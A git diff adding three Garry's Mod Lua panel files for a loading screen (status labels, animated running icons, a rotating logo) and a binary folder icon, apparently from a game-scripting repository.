a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/original_loading/progress.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/original_loading/progress.lua new file mode 100644 index 0000000..d097f80 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/original_loading/progress.lua @@ -0,0 +1,75 @@ + + +surface.CreateFont("Coolvetica", 22, 500, true, false, "LoadingProgress") + +local pnlLoadWorker = vgui.RegisterFile("worker.lua") +local NumLabels = 10 + +PANEL.Base = "Panel" + + +function PANEL:Init() + self.Labels = {} + + for i = 1, NumLabels do + self.Labels[i] = vgui.Create("DLabel", self) + self.Labels[i]:SetFont("LoadingProgress") + self.Labels[i]:SetContentAlignment(5) + self.Labels[i]:SetText("") + + if (i == 1) then + self.Labels[i]:SetTextColor(Color(120, 120, 120, 255)) + else + self.Labels[i]:SetTextColor(Color(120, 120, 120, 127 * (1 - (i/NumLabels)))) + end + end + + self.LoadWorker = vgui.CreateFromTable(pnlLoadWorker, self) +end + + +function PANEL:PerformLayout() + local Width,Hight = ScrW(),ScrH() + + self:SetSize(Width, Hight) + + self.LoadWorker:SetSize(150, 150) + self.LoadWorker:CenterHorizontal() + + for i = 1, NumLabels do + self.Labels[i]:SetSize(Width, 24) + self.Labels[i]:SetPos(0, 150 + 24 * (i-1)) + end +end + + + +function PANEL:StatusChanged(what) + for i = NumLabels, 2, -1 do + self.Labels[i]:SetText(self.Labels[i-1]:GetValue()) + end + + self.Labels[1]:SetText(what) +end + + +function PANEL:DownloadingFile(filename) + local Translated = TranslateDownloadableName(filename) or filename + + self:StatusChanged("Downloading "..Translated) +end + + +function PANEL:Paint() +end + + +function PANEL:Clean() + for i = 1, NumLabels do + self.Labels[i]:SetText("") + end +end + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/original_loading/runner.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/original_loading/runner.lua new file mode 100644 index 0000000..a71cd5f --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/original_loading/runner.lua @@ -0,0 +1,85 @@ + + +PANEL.Base = "Panel" + +function PANEL:Init() + self.Icon = vgui.Create("DImage", self) + + self.Shadow = vgui.Create("DImage", self) + self.Shadow:SetImage("gui/legs") + + if (math.random(0,30) == 1) then + self.Overlay = vgui.Create("DImage", self) + self.Overlay:SetImage("gui/legs"..math.random(1, 2)) + end +end + + + +function PANEL:SetUp(Icon, Speed) + self.Icon:SetImage(Icon) + + local Distance = math.Rand(0, 30) + + self.BaseY = self:GetParent():GetTall() -64 - Distance + self:SetPos(-62, self.BaseY) + self:SetZPos(20 - Distance) + + self.Speed = Speed * math.Rand(0.8, 1.0) * 0.5 + + self.StartTime = SysTime() + self.EndTime = SysTime() + self.Speed * 0.5 +end + + +function PANEL:PerformLayout() + self:SetSize(64, 64) + + self.Icon:SetSize(16, 16) + self.Icon:SetPos(24, 32) + + if (ValidPanel(self.Overlay)) then + self.Overlay:SetPos(0, 0) + self.Overlay:SetSize(64, 64) + self.Overlay:SetZPos(1) + end + + self.Shadow:SetPos(0, 0) + self.Shadow:SetSize(64, 64) + self.Shadow:SetZPos(1) +end + + +function PANEL:Think() + if (!self.StartTime) then return end + + local delta = (SysTime() - self.StartTime) / (self.EndTime - self.StartTime) + + local x = Lerp(delta, -62, ScrW()) + local y = self.BaseY - 64 + math.sin(x * 0.01) * 32 + + self:SetPos(x, y) + + if (x >= ScrW()) then + if (!self.Repeat) then + self:Remove() + else --Go around again + self.EndTime = SysTime() + (self.EndTime - self.StartTime) + self.StartTime = SysTime() + self.x = -62 + end + end + + // Up/Down motion. I don't like it. + //self.Icon:SetPos(24, 32 + math.sin((SysTime() * self.Speed) * 0.2) * 3) +end + + +function PANEL:SetRepeat(bRepeat) + self.Repeat = bRepeat +end + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/original_loading/worker.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/original_loading/worker.lua new file mode 100644 index 0000000..5399e5c --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/original_loading/worker.lua @@ -0,0 +1,25 @@ + + +local MatRotate = Material("VGUI/loading-rotate") +local MatLogo = Material("VGUI/loading-logo") + +PANEL.Base = "Panel" + + +function PANEL:Init() +end + +function PANEL:Paint() + local size = self:GetTall() + local sqrdiag = size * math.sqrt(2) * 0.5 + + surface.DrawTexturedRectRotated(size/2, size/2, sqrdiag, sqrdiag, 0) + + surface.SetMaterial(MatLogo) + surface.SetDrawColor(255, 255, 255, 255) + + surface.DrawTexturedRectRotated(size/2, size/2, sqrdiag, sqrdiag, 0) + + surface.SetMaterial(MatRotate) + surface.DrawTexturedRectRotated(size/2, size/2, sqrdiag, sqrdiag, SysTime() * 180) +end diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/lua_folder.ico b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/lua_folder.ico new file mode 100644 index 0000000000000000000000000000000000000000..ef1e4b2b02838ddb687e7c45b661ffa2bdd10e0e GIT binary patch literal 52062 zcmeHQ2S8Of_s5vd;f^?t2#>Q|#Ao{u}*~o8%-pC&^7t#?2E#A<7FQBYoJ~Vqz&FZVDj` z4OQ-^C4^|FBZR)b%H2pIM8h&dn3xFA>xxFzgy>yXAim1It%4Bq>T-OwTUUrW2&-OQ zaLM$_u(=!x}+6(c%qnw_h*!C6TJIU$6jd|vi=h8wMS4VJr+mXE_BMG36(6OV5c1II+fM$e_0?DcU)nzB;AlP4yfSlM!xoK$%$zRQJ9^k4lm5+66g4Z*>URd!t5Y*cwx3u9bT9% z$19A#BKz z6F?qklo&H*qc1;5wi1I19x$#*7XIS#Uo+0=X!HOrS{TV4iS(`n2EvWk?V~Z0`z3X_ zncRP=NSw`bhabrk?qrtJ%}NOzF_M#4b;V9b>TqTX6!X>LQg_51qmj83PsKBbOWmis zw`wbgA5ew2I%1&;S2a56Wt<_eSDX%NEOCJ(4;c z?=ZXN@PjHhdK*=DXs>dk=Ru`%F9LT*w~lbYa0X0(p2kG-V3yFUnxH363BgS>4>&w7H?-i^!uw5WLgAMwbab*sHg|z~ zfFHMWZp(&%+|GmWESrCJJLj^3QFrb~gtgQVoeFYe0OD|zJ@g4{u9L2CV_@poCl$@O zV@C`XX#S{7W`6$soC*>sXw|#T<&7}(cg2Ac{X@_M#7R);ohFE;1Xw?oOeK{i{pFfa z8Sup!HWG&7dIU69hrx1U!)@fN=OC z9rSN;hDgRxD5bPagelT6G%*$apfxm93R4p$i2RYazla0;k$({2?++UgfFWQK1UoKH z#DQmj@M}86M3}=?J_VmXQNkH^BXf7*1G$`&NSNJbw~x^Ej}oSRTM73x61Nfd6i5Sx zz|VAIUophAmDm=SB!+~iiHT7N2VEe-!vS5SdmC6fN>H*VjcpCSszQsR)=j5%J80J75I)44t=$z@PweJ1`LW-9~VO28Q~N1gZs z+Zf0{3Q(eHn?pv^u13NcZOXrES1}Rwux-c?(P{|fG&dJ!kW~qoxjPFZrH?Rj_7~Na z%=0$LA0QgJ2MAN20HF*F5Qgr7!pH}5pdK3ehl|_c;b;y~Xg81tbz;Qz!hl>u7-&Zm z8R2ol3@{3KigE;kxK5s;PM*U5sc?tKQfp>3ye(m%`3@d7K)}vV2w|ojR?Yyw`QG-;-H4eZ9lZo?U+W^AhRw`-%s{ce`|F z<2PuQ@Az@QpH+?-Gp4wrbQ*X2&X#9Vbm@=3-=JF)#`ip@>{7h)80$UA=lSr?9lCdr zO?MZ+_Oen=Kz*P{SH)zirKU$2ZS9 z%MsY#;3%67vUi7B=f)JoL8pn^XN|iudH61w5V1FS4p13)3r9JD?t|=3p2*KYr=GXB z&l>MDa7dyYzuSi6M=g4(P5YxqL%Mb2pzeeH&ld2Kb{cno`l_6KAK1(Ubd3>D_yENCD9~0ndjWwhbM+!7g7Fb{ZcuchKzFYwRDF-!r9aNWQ#P z9=#5&-ii1xuLkwV!$GGB>vqg}{n~llz`n!ui;Q1&=+L1X!}2nK_;csXnKRq_&gAlm zAr^(?-`@S`m8wIB4SN}NCQtXs@dwYDGstP?gT6^eM->*oeXroE!-fqT`Y<$46?C#k z{K13g3^H5YZ||}Gg~o3$#oxPZWuEsK@m;$kfx+H2wrsU3GXCB^eflh06`H#QfA@)X zmHN$zmupNqn!oOI7_tc2jQD*XMJjXk%spqix^CkH{ANWQA7HxB)bx*qIdL=}MpNI>^bwPtGcW49QmQY>7n+c3NFO{s`%yOR-VwTf}S&fbyf9!J3UA4TaX!k zc){ELzrkqc&CmTUxAbK*{Lb0Y8VvM|{uN!9^zM6()YZ+ndstWZ?KGJEf8B4(>9Bj3s_W{;@lzXT=&H=L{khAbzvb3`l3DC-Ef9ZL|*D!BK zX>=pt-%1^S$b(RgM%*)Q*_49g2P{}HoeRQLB}ad&R|?7WTT(-#5%-+54DYRE9?nSD z$ete;*}%*|mBN@Fn>?hSDup|tA4?GN6Q^`ln*+Jxn>Vv%`f$tr(_uy(UFEoXAe%{7 z!bnZU@va4EmLbudZLO*`V@(NkqQb@Iw-gFOfKnWx_sJ4-NK zR|jgwPYqW|{EF*THy|Z{=MSHr1Is7L@%8m*XvBAGc2^~?Lb1qAS2z1e!SUmUFZ&oj zM6(1^8_NkSLb6AGE;xRTN5dh%N&x+?=hInMwK12<4@^k$FBBMG^mLdy^dkeC&TDc| zocLqSp7oh0S72BDp*CDtYI9JPK)*%0BNhdBDmee&$2$xehOTw!ym|BV^@o<<8$$c! z_-=JR#kPg4ppV@5tIIePI}C?bCG5-2?Xe{KAaCGmL$AoH(L5OM-? z&}ZA~1U@@nP6R1|9GCQNH^>Jz!r$wx#VVxFrhM5(V2#A=#ji zY*0wHLT!UUa$}WLWgF+%SPzCVkapbi+j?q$+163Jwer{swL7mZ)c!fPwJJYhoX0j$ zyYt$5YX5?5$R~vtVCRxwE(h4E{V}!`N?}ZtEwqBfOcbC}CrLbzikc`00h9?pwzFXy zz=p|V8wVLk-q=u*Y-}j0>@;I)gi?0F|>$OC2G9gu5PD~a0>n@ALR1yiGzYLrM4guYd#R!Xw2_g~CYk-?T0_b93 z>mrWVtwfQK0eT=6*bV;}gzv`lz>#f4;{{$KCWXXi_<6yvuH$BL6Ye#DD_}a?ue z`iG>7{*bvp++!}1XuJphcN2w0Y@+bG3qHbF?wcYJ>74|h)wkRf--G||r&2}Z9k3DK z3$iwbUtPFwg3cbYcp>ff#}Y;B!-?YiJvYT}&}>Hh*5Fy!HK)(KAsp9*? z38Ff9nT47iCy|!5Xm{GU_fl^s(Xm{q%PU{5O_BT{gvMT)Vf+ zP;J-Z$I&)Z{MgsV)=qozl49kftzD*NTQ-Zvnp!(Ke=?5tSY3s^Y#dBRIcgWpo3?Vi z;>R``rY$p9cpUA87K)h~w@EG&oeFEP})At`^S92s9*CJwDyeI?G?>` zD%i}Kn=gX)jIm~lnav9^ZD-|;pgm>kuVtq3#8PD%tBl&!byD}-Rj+OO+gMYbX5Xrf znwl-ir)#6hxiio<9W!>^c*TT9lF=Y<+?aj3PMnmNzUS}1cd7SBesU>7*V?07<%*y^ zyyu7!{dAj+gvpgUJ4TMgd~j55`e8kL_4>V}!k|HeeB_NAH|RQK$N(eF2-jeh-`6-3^+aaTP(y#ZfoM9}Wh6LZF1y%l-|BoF!uFl9CA zJN?)hrb`(`!SuXJ+^ze^2-@vh8^f6V+P*;g#$Uj6=%_*eLu;uqw=IDUW<$e#k(mCA zpMS}Tp#8&-s-{_@L$_(sk^yI%bUDx(>JsU-OgOP7&i=*V@ZUB{q` z%4pDQNi^(Xs4W|H329fWt){Q?F@i*{Kyj5Qk^Ak!`IBm2=BKZviU4x$eDpPH%Jlg% zD2N^z=;e=4c=|%SQe~OGYBlCqG8_Tb_eJ%*{0LFDoI+8)d<8vyJw-)rnOflrIr%|f%(g`urwrpDQZy^TDbyMIpy*y(xK+8NE*$+ zV$;iPeJ(?)($&oJQ_sjjgG4o9QcrTBMi=JBlnMrC_@vn{pHpNHw%LPi_K<9NNH#oF zwt?E#Q`6Fi9A2#IU~;zHRpozJdo#rJiq37F3&G{-m5wH<9VMv=gT|a z<2fkL`FOs^^Ie|v@jOqOLn0k{zQ^-Qp3~-?^YMI7p5ICHUX3{(&u4SycdI7}am-4H zXiqfY9ijmp7F{V=Or^`ho$iQ(6pxQKst7Tnju4Bm(y+QY=&^J@4EkWuUk3dh(8q(m9q31Zei7(bgZ>!k zqd}hpdICLxosSQ z1n5x|g%ppV2B63JCz=X+chDbX`YNEWgW_z2;%tuM{29gB8O1pe^wU7^0Q$9{KLq*+ z(0>DZW6=Kw`bnU-0=*~bcYyvd=z~Fj8T5BR9}oI=pdSJHMW9~|`eUGv27MCf@qJ2H zU@G7a93-UP4ylho>Wh&2YNUP)sYfIABykw@!Jxkk`a7VH2YnUL*8zPa&^HJD&!F!N z`hlRI26_k3uLb=f&_{s&Utm}#C@PyFL$!w$MWLDw<4Kb^aDRqf`K z=<*sQU%@m~5ojB*`pYW421z-Xy6W(nU&5#r7CDVtFtzJQWuRS^g;$3|Pn1X`EwhG{ zfOchRqfSl0`ZFF?dYvk~l4iIRF_$KyT~W2sr%r$ga)k@M3YrA@!^@Oalq+AMg5slw znp-(lX{8E$&?XC!Q@4dYFkSv2SyfY|lRx~UPr>n}a4C@@!qti7bSqNfz3kMJ6ME}aCrKyh^u&9!V<|6pB)brjY^c%8l=T}0M7SPx+xg!K;A zg*0^!S??%J$B^|4P2Gaml3A~i*NSuL5qSpU28T&>4JI-5GR`vJA#pGs{dy4taRczz z6_^UR0|$Yk2I9Z<6zBzi>nYG8{+sla+O=z=PswkvzExmIX~UW|YyQ;EIB%>rZEL7a z%b$PIi237BEkBx8t#dN^zFBkmdnLAiP^VY=+hz)^=v7o1J-zR^$Ac+dzwtL8{VVD< zX)61F)v)~6YVwK|u~el>sC4}XUnz8R{446{sAhGg>lhdqDn9zxty@ouP`Y}J8Z}Gk z>&qb+i)(Q}X}HyL_r3@xxD4UF|WT&RG7cK&V#`R^9>SVz!@OO0Ki0F z1p~}~W$59Vp#x~;flP0WvC3cr9gC%#Bsh|fpmeaYPW`mrCRw*4FscS}8UJ|{5mI6~P_E5Xw!M#5lgtF0s z;hB#Fm6!T&4vB^@x;qhszEG**m+z7LO01zWlmosj*@a*o-ddHN8%Z^c;QzU;1QPH@<5Kq|6!wB zrlim*%`3)V0nGrOXx9UH`LQCvQ&CCffi1TYJpPZE_Cu<=wqRJPz45o}9e7M8d#+_Rc0Z7;JHz9d7(DmB zXx;0w__ke$sQ=wTQKO!}s8nN_(9$-CtYd%y0JoWzKoh_a;4&!(aCyk@4ELx1xn|&; zUV58vg$_6wOP61#(#m`9=*PgPRB7h}D!1z)mG-@uUCL^6qV`yahb0C~zbTrv3r0EY z73C^!6lKbL3Ei?bqGYLQLZKK2A-e;-rYw&a zgXZ26orZ^t#;p#BG8NW9E?2-3Fat&beSn_aQ?3)u!p6>2*rTJeXlO(R^}FzadR$DWUqe#pyM3`#*FPeo;<97! z6$>{eig8Qg#c#9ki*94Dh}ON&h_71g78R@eKssw+3c%&T?@ULa1)$l7aC!WD`j8Qe zthBbpy=%Dh4q04yLQhiC=t>IYzd>Yni)c13=b0OgUAa3%3-1zHVH0c~?6KFgXmDf( zbq;$^Em0m#Prsr12cJ-lP1i_oY2f=(v%O!4VGCl#&;6p%hXjj;KO7OY8*LMns(T7W zi3N~%H1HeH1!xQKJHz9y+=s9p!hOg;_g(pY;lj#$6W*8vCQ!$Ncj?OWWO|WFWPKlU zL*`kKeGY6Hv(;`cgZaRMdqfr}lLerkax;?#UwTI-XI@d0Bk@#c-y_o7ai2=BzDPQb z``(r`^L(l`V8$)cq|F(jS7nbVUuladtLKY8#1VbSO!OfmAa8eo`w-Se8Uj4_@=AMI zfZNDl+n)|KU)cEQ>o~Hr(XI1yRlu^PBeTZ$qJ27YNOEFS;UvwIAK{Wp9 zfY2?o7V<3x_??*va2wI=Ls%y(Y-<2Pf5Hr$JHPpfq@?**v#Hvq+vIuuDJ5lO(n)+= zWgQE7P_O2w-{N2a=oTW*qBtT;Y?@m=#53%<+%}>!Y1}RJsn^n}-<1sNbm2Yyc`c^y1-wje+`=N z_`|8>R3-Yl#(UyuLdZjkeD#hVejsvsgmw>k7D5J#KY@iP2aacna!?{Io5w^BXjhI2 zaO2tRUKWkMl|lWlq>;(_cVra$mKq*^LAADCrz*=1zb`X?)l2b*?L+bF(5s?O;{Yrv z+CX+=fc37w#td7u_Qx~t$R6^yITTNA_T8cFcVFNQAo9gHun>GN0<6IAUja*vbd*m} zCMXX(l!rYoKyyZZ^J25e^x8Y>bs>pb1wAK&BTuRHx+^5cIX@ER^*2Fi)-(8s%wN+6 zez)BCWAJ-gjDD@h$(K}h<8`tKM}@&0c>|unn+5o^{)?f6+31B_*AMXo?E!x}y^}h^#*WlnJD(!cJhMu@b$>;;F z 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 